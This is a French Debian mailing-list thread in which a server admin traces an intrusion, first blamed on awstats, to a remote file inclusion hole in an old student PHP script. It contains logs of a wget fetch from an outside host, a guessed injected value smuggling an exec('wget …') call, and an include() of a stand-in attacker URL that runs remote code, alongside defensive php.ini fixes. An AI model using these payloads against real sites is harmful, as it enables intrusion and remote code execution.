awstats, sarge

Le
François Boisson
Bonjour à tous,

A 14h, j'ai eu la surprise de voir un de mes serveur ecroulé (load average à
80), un top très péniblement effectué juste avant les messages

May 27 14:37:55 yoda kernel: VM: killing process perl
May 27 14:39:11 yoda last message repeated 2 times
May 27 14:39:11 yoda last message repeated 4 times
May 27 14:39:11 yoda kernel: Unable to load interpreter /lib/ld-linux.so.2
May 27 14:39:11 yoda last message repeated 8 times
May 27 14:39:46 yoda out of memory [28659out of ]
May 27 14:39:11 yoda kernel: Unable to load interpreter /lib/ld-linux.so.2
[..]

m'a permis de voir un quantité importante d'apache et surtout un certain nombre
de perl exécutant awstats.pl. Un coup d'oeil dans les logs error.log m'a montré

[Tue May 27 13:36:25 2008] [error] [client 81.52.143.15] File does not exist: /var/www/phpBB2/viewtopic.php
[Tue May 27 13:38:09 2008] [error] [client 81.52.143.15] File does not exist: /var/www/phpBB2/viewtopic.php
[Tue May 27 13:42:13 2008] [error] [client 193.252.149.15] File does not exist: /var/www/phpBB2/profile.php
[Tue May 27 13:43:38 2008] [error] [client 81.52.143.15] File does not exist: /var/www/phpBB2/posting.php
--13:47:11-- http://www.ggfirm.com:80/s.txt
=> `s.txt'
Connecting to www.ggfirm.com:80 connected!
HTTP request sent, awaiting response 200 OK
Length: 112,253 [text/plain]

0K -> . . . . . [ 45%]
50K -> . . . . . [ 91%]
100K -> [100%]

13:47:12 (103.81 KB/s) - `s.txt' saved [112253/112253]

[Tue May 27 13:47:22 2008] [error] [client 193.252.149.15] File does not exist: /var/www/phpBB2/privmsg.php
mocks: no process killed
Invalid argument: stop
Missing or bad configuration file.
Invalid argument: stop
mocks: no process killed
[Tue May 27 13:50:54 2008] [error] [client 193.252.149.15] File does not exist: /var/www/phpBB2/posting.php

phpBB2 n'existe plus depuis au moins deux ans sur ce serveur et il ne faut pas s'arrêter
à ça, par contre on voit bien qu'un script a été détourné. Bon, visiblement ça n'a pas marché
et l'intégrité du serveur est conservé (surveillance md5sum), j'ai neutralisé awstats.


Mais ce qui m'étonnes est que j'ai la version 6.4-1sarge3 sur cette machine et cet awstats était
à jour (awstats_6.4-1sarge3) pour sarge. Y-a-t-il une faille sur cette version de awstats? J'avoue
que je suis perplexe. Le serveur est sous haute surveillance bien entendu.

Quelqu'un a-t-il eu echo d'une histoire analogue?

François Boisson

--
Lisez la FAQ de la liste avant de poser une question :
http://wiki.debian.org/DebFrFrenchLists
Vous pouvez aussi ajouter le mot ``spam'' dans vos champs "From" et
"Reply-To:"

To UNSUBSCRIBE, email to debian-user-french-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org
Vidéos High-Tech et Jeu Vidéo
Téléchargements
Vos réponses
Gagnez chaque mois un abonnement Premium avec GNT : Inscrivez-vous !
Trier par : date / pertinence
Jean-Yves F. Barbier
Le #9667621
François Boisson a écrit :
Bonjour à tous,



salut françois

A 14h, j'ai eu la surprise de voir un de mes serveur ecroulé (load average à
80), un top très péniblement effectué juste avant les messages

May 27 14:37:55 yoda kernel: VM: killing process perl
May 27 14:39:11 yoda last message repeated 2 times
May 27 14:39:11 yoda last message repeated 4 times
May 27 14:39:11 yoda kernel: Unable to load interpreter /lib/ld-linux.so.2


.......
phpBB2 n'existe plus depuis au moins deux ans sur ce serveur et il ne faut pas s'arrêter
à ça, par contre on voit bien qu'un script a été détourné. Bon, visiblement ça n'a pas marché
et l'intégrité du serveur est conservé (surveillance md5sum), j'ai neutralisé awstats.



pas si sûr (mais c'est difficile à dire sans analyser *tous* les logs sur
la période incriminée):
http://mm.gnu.org.in/pipermail/linuxers/Week-of-Mon-20020114/003668.html
et
http://www.mail-archive.com//msg05980.html

Par ailleurs, j'espère que tu gardes tes MD5sums sur une autre machine ou un
support amovible; sinon ils risquent d'être vérolés.

JY
--
<Mercury> At that point it will compile, but segfault, as it should..

--
Lisez la FAQ de la liste avant de poser une question :
http://wiki.debian.org/DebFrFrenchLists
Vous pouvez aussi ajouter le mot ``spam'' dans vos champs "From" et
"Reply-To:"

To UNSUBSCRIBE, email to
with a subject of "unsubscribe". Trouble? Contact
François Boisson
Le #9667481
Le Wed, 28 May 2008 16:56:49 +0200
"Jean-Yves F. Barbier"
François Boisson a écrit :
> Bonjour à tous,

salut françois

> A 14h, j'ai eu la surprise de voir un de mes serveur ecroulé (load average
> à 80), un top très péniblement effectué juste avant les messages
>
> May 27 14:37:55 yoda kernel: VM: killing process perl
> May 27 14:39:11 yoda last message repeated 2 times
> May 27 14:39:11 yoda last message repeated 4 times
> May 27 14:39:11 yoda kernel: Unable to load interpreter /lib/ld-linux.so.2
.......
> phpBB2 n'existe plus depuis au moins deux ans sur ce serveur et il ne faut
> pas s'arrêter à ça, par contre on voit bien qu'un script a été détourné.
> Bon, visiblement ça n'a pas marché et l'intégrité du serveur est conservé
> (surveillance md5sum), j'ai neutralisé awstats.

pas si sûr (mais c'est difficile à dire sans analyser *tous* les logs sur
la période incriminée):



J'ai, y compris les logs de la passerelle/parefeu/

http://mm.gnu.org.in/pipermail/linuxers/Week-of-Mon-20020114/003668.html
et
http://www.mail-archive.com//msg05980.html

Par ailleurs, j'espère que tu gardes tes MD5sums sur une autre machine ou un
support amovible; sinon ils risquent d'être vérolés.




Oui, backup régulier et md5sum du fichier md5sum :). Je suis assez confiant.

François

--
Lisez la FAQ de la liste avant de poser une question :
http://wiki.debian.org/DebFrFrenchLists
Vous pouvez aussi ajouter le mot ``spam'' dans vos champs "From" et
"Reply-To:"

To UNSUBSCRIBE, email to
with a subject of "unsubscribe". Trouble? Contact
François Boisson
Le #9665641
Le Wed, 28 May 2008 16:56:49 +0200
"Jean-Yves F. Barbier"
> phpBB2 n'existe plus depuis au moins deux ans sur ce serveur et il ne faut
> pas s'arrêter à ça, par contre on voit bien qu'un script a été détourné.
> Bon, visiblement ça n'a pas marché et l'intégrité du serveur est conservé
> (surveillance md5sum), j'ai neutralisé awstats.

pas si sûr (mais c'est difficile à dire sans analyser *tous* les logs sur
la période incriminée):
http://mm.gnu.org.in/pipermail/linuxers/Week-of-Mon-20020114/003668.html
et
http://www.mail-archive.com//msg05980.html

Par ailleurs, j'espère que tu gardes tes MD5sums sur une autre machine ou un
support amovible; sinon ils risquent d'être vérolés.




C'est le cas bien sûr mais apparement il y a un souci sur le apache de woody.
Le problème s'est reproduit. La machine étant en production et longuement
utilisée, j'ai finalement fait une mise à jour complète:
Il faut savoir que ce serveur a fait Bo->Hamm->Slink->Potato->Woody

* dist-upgrade en woody pour finir la transition.
* upgrade en sarge.

Le noyau étant un 2.2.19, je ne peux pas encore passer sous Etch mais si il y
a un souci, ça ira. J'ai mis un bon nombre de scripts de surveillance mais il
semble que le serveur apache de woody + php + perl ne soit plus sur. (Je pense
que ça n'est que apache, il n'y a aucune requête dans les logs exceptés
quelques lignes.

Il y a eu des failles apache importantes révélées depuis que woody a été
abandonné? En tout cas, je suggère aux personnes ayant un serveur sous woody
de basculer au moins sous sarge.

François Boisson

--
Lisez la FAQ de la liste avant de poser une question :
http://wiki.debian.org/DebFrFrenchLists
Vous pouvez aussi ajouter le mot ``spam'' dans vos champs "From" et
"Reply-To:"

To UNSUBSCRIBE, email to
with a subject of "unsubscribe". Trouble? Contact
Pascal Hambourg
Le #9665611
François Boisson a écrit :

Il y a eu des failles apache importantes révélées depuis que woody a été
abandonné?



[1 juin 2006] Fin du support de la sécurité pour Debian 3.0 [1]
[1 août 2006] DSA-1131 apache - Dépassement de mémoire tampon [2]
[4 septembre 2006] DSA-1167 apache - Mauvaise vérification des entrées [3]

[1] [2] [3]
--
Lisez la FAQ de la liste avant de poser une question :
http://wiki.debian.org/DebFrFrenchLists
Vous pouvez aussi ajouter le mot ``spam'' dans vos champs "From" et
"Reply-To:"

To UNSUBSCRIBE, email to
with a subject of "unsubscribe". Trouble? Contact
François Boisson
Le #9661991
Bon, il semble qu'il y ait un souci très net avec le awstats version
6.5+dfsg-1. Sur la machine refaite et surveillée, lorsque que awstats.pl était
sans droit de lecture, tout se passait bien. Dès que j'ai remis le script en
lecture (script vérifié par le md5sum), 12h plus tard, un script était de
nouveau éxécuté via perl et apache. Le seul script perl sur cette machine est
awstats.pl. J'ai modifié awstats. awstats est la version de etch. Peut être il
y a un souci sur une version etch tournant sous sarge mais je m'interroge tout
de même. Il peut y avoir un doute sur la machine, cependant j'ai fait tourner
le script suivant

#!/bin/sh
MDORG=$1
MDEFF=`md5sum-static /$2 | awk '{print $1}'`
# echo $MDORG
# echo $MDEFF
if [ ! $MDORG = $MDEFF ] ; then
echo $2 compromis

sur tous les fichiers décrits dans /var/lib/dpkg/info/*.md5sum:

# cat *.md5sums | awk '{print ".verifie "$1 " "$2}' | sh

et rien d'inquiétant n'était apparu.


Ceci pour info pour ceux qui utilise awstats

François Boisson

--
Lisez la FAQ de la liste avant de poser une question :
http://wiki.debian.org/DebFrFrenchLists
Vous pouvez aussi ajouter le mot ``spam'' dans vos champs "From" et
"Reply-To:"

To UNSUBSCRIBE, email to
with a subject of "unsubscribe". Trouble? Contact
François Boisson
Le #9661941
Bon, j'ai par comprendre et awstats est innocent.

La situation: Une personne arrivait à éxécuter un script perl sous www-data
donc pas l'intermédiaire d'apache. La machine initialement sous woody a été
tout d'abord mise à jour puis complètement nettoyée et vérifiée (je ne pouvais
pas me permettre de la réinstaller, étant donné qu'elle était en usage
permanent et intense). Toujours fidèle au principe «une machine n'est
jamais étanche, il faut donc bétonner la surveillance», je me suis rapidement
aperçu que le problème continuait. Le gars a pu reéxécuter une nouvelle fois
le script perl.

Une étude approfondie des logs m'a permis d'être sur que le problème venait du
serveur et d'Apache. J'ai fini par conserver un log de toutes les requêtes
Apache. Ça m'a permis de constater que le coupable est un bête script PHP
conçu par un élève sous PHP3 il y a longtemps (>6 ans) (script que j'aurais du
vérifier mais bon...), il a fait deux erreurs:

1) Un include d'un fichier d'extension .inc, fichier lisible par ailleurs

2) Ce fichier contenant une fonction pouvant faire une erreur:

une requête http://<URL>/script.php?nom=bidondenimportequoi

affichait à l'écran le nom du fichier .inc. La personne pouvait alors charger
le fichier .inc et l'étudier.

Elle était alors dans la possibilité de faire la fonction PHP
include($nom.htm);
avec $nom comme elle le voulait. Je pense qu'il est alors possible de charger
un document extérieur, peut être en donnant une valeur
"plop.htm;exec('wget http://site/script.php')"
à $nom.

Conclusion:
* Un script PHP de 50 lignes présent sans souci depuis 6 ans peut avoir une
faille béante et révéler sa faille au bout de ces 6 ans.
* Avant d'incriminer awstats, il faut d'abord vérifier ses propres scripts.
Tracer les requêtes apache est la meilleure solution à mon avis. En effet
j'aurais pu réinstaller complètement le serveur, cela n'aurait rien changer...


François Boisson

Au fait quelqu'un sait-il ce qu'est «mocks»???

--
Lisez la FAQ de la liste avant de poser une question :
http://wiki.debian.org/DebFrFrenchLists
Vous pouvez aussi ajouter le mot ``spam'' dans vos champs "From" et
"Reply-To:"

To UNSUBSCRIBE, email to
with a subject of "unsubscribe". Trouble? Contact
Jean-Yves F. Barbier
Le #9661931
François Boisson a écrit :
......

hé ben, t'as des élèves "intéressants" :-)

Au fait quelqu'un sait-il ce qu'est «mocks»???



c'est un proxy SOCKS5

--
A male mathematician is someone who can count to twenty-one without
unzipping his fly.

--
Lisez la FAQ de la liste avant de poser une question :
http://wiki.debian.org/DebFrFrenchLists
Vous pouvez aussi ajouter le mot ``spam'' dans vos champs "From" et
"Reply-To:"

To UNSUBSCRIBE, email to
with a subject of "unsubscribe". Trouble? Contact
François Boisson
Le #9661861
Le Thu, 05 Jun 2008 17:23:32 +0200
"Jean-Yves F. Barbier"
François Boisson a écrit :
......

hé ben, t'as des élèves "intéressants" :-)



Oui. ça m'aura occupé pendant quelques temps cette histoire...
Pour une fois, ça n'est pas un «kiddy script», le gars s'est quand même tapé
d'étudier le code PHP qu'il pouvait récupérer.

Si quelqu'un a le détail de comment faire avec le include PHP, ça m'intéresse
d'ailleurs.



> Au fait quelqu'un sait-il ce qu'est «mocks»???

c'est un proxy SOCKS5



J'aurais du y penser...

Merci

François Boisson

--
Lisez la FAQ de la liste avant de poser une question :
http://wiki.debian.org/DebFrFrenchLists
Vous pouvez aussi ajouter le mot ``spam'' dans vos champs "From" et
"Reply-To:"

To UNSUBSCRIBE, email to
with a subject of "unsubscribe". Trouble? Contact
François Boisson
Le #9661701
Le Thu, 5 Jun 2008 20:51:49 +0200
François Boisson

Si quelqu'un a le détail de comment faire avec le include PHP, ça m'intéresse
d'ailleurs.





En fait c'est extrèmement simple:

un include("http://monsite.labas.pirate/scriptdelamort.quitue");

télécharge le script sur le site ET l'éxécute comme un script PHP. À partir de
là on fait ce qu'on veut. Donc effectivement c'est relativement simple.

Je n'aurais pas pensé que include faisait un tel chargement sur des sites
extérieurs. C'est une fonction assez dangeureuse.

François Boisson

--
Lisez la FAQ de la liste avant de poser une question :
http://wiki.debian.org/DebFrFrenchLists
Vous pouvez aussi ajouter le mot ``spam'' dans vos champs "From" et
"Reply-To:"

To UNSUBSCRIBE, email to
with a subject of "unsubscribe". Trouble? Contact
Franck Joncourt
Le #9661611
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

François Boisson wrote:
Le Thu, 5 Jun 2008 20:51:49 +0200
François Boisson


Salut,

En fait c'est extrèmement simple:

un include("http://monsite.labas.pirate/scriptdelamort.quitue");

télécharge le script sur le site ET l'éxécute comme un script PHP. À partir de
là on fait ce qu'on veut. Donc effectivement c'est relativement simple.

Je n'aurais pas pensé que include faisait un tel chargement sur des sites
extérieurs. C'est une fonction assez dangeureuse.




Dans la configuration php :

$register_globals = Off
pour éviter que le client passe des valeurs à des variables non
initialisées.

$allow_url_include = Off
pour éviter de traiter des urls style http ou ftp dans les include.

Cela devrait t'éviter des problèmes similaires :p!

Bonne journée.

- --
Franck Joncourt
http://debian.org - http://smhteam.info/wiki/
Fingerprint : C10E D1D0 EF70 0A2A CACF 9A3C C490 534E 75C0 89FE
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkhKRIUACgkQxJBTTnXAif7GswCfQfvb1slfkx5cYS7Y1EckT8ws
tFMAn0XQGy+8b11v3Br/yu0spPYEEhRy
=8XRz
-----END PGP SIGNATURE-----

--
Lisez la FAQ de la liste avant de poser une question :
http://wiki.debian.org/DebFrFrenchLists
Vous pouvez aussi ajouter le mot ``spam'' dans vos champs "From" et
"Reply-To:"

To UNSUBSCRIBE, email to
with a subject of "unsubscribe". Trouble? Contact
Publicité
Poster une réponse
Anonyme